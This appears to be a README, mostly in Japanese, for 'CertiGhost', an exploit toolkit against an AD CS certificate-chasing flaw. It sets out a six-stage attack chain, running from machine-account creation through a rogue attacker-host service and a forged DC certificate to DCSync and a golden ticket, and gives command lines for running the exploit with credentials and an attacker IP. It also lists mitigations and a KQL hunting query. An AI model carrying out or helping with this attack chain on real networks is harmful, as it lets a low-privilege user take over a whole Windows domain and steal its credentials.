
AD CS CVE-2026-54121 用エクスプロイトツールキット: 低権限のドメインユーザーがドメインコントローラーを偽装し、証明書を偽造して、DCSync/ゴールデンチケットによりドメインを侵害します。
CertiGhost は、Active Directory 証明書サービス(AD CS)における重大な脆弱性(CVSS 8.8)であり、低権限のドメインユーザーがドメインコントローラーを偽装して、ドメイン全体を完全に侵害できるようにします。
AD CS の「chase」フォールバックメカニズムでは、要求者が証明書要求に cdc(Client DC)属性と rmd(Remote Domain)属性を指定できます。CA は、cdc ターゲットが正当なドメインコントローラーであることを検証せずに、そのターゲットを辿って ID データを解決します。
攻撃チェーン:
ms-DS-MachineAccountQuota 経由)cdc が攻撃者ホストを指す証明書要求を送信するkrbtgt ハッシュ → ゴールデンチケット → 完全なドメイン侵害| ドキュメント | 内容 |
|---|---|
| USAGE.md | 手順を追った詳細な使用方法ガイド |
| DIAGRAM.md | 構造図と攻撃フローの可視化 |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
完全なアーキテクチャ図については DIAGRAM.md を参照してください。
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuota の値EDITF_ENABLECHASECLIENTDC フラグms-DS-MachineAccountQuota > 0(デフォルト: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota を 0 に設定するENROLLEE_SUPPLIES_SUBJECT を削除するcdc/rmd 属性を含む証明書要求を監視するMicrosoft Threat Protection ブログに従い、以下の高度なハンティングクエリを展開します:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| ファイル | 目的 |
|---|
certighost_exploit.py | 完全なエクスプロイトチェーンの実装 |
certighost_test.py | CLI 付きの検出+エクスプロイトツールキット |
ad_detect.py | 対象を絞ったクイック検出スキャン |
test_exploit.py | 全エクスプロイトコンポーネントのユニットテスト(55 テスト) |
requirements.txt | Python の依存関係 |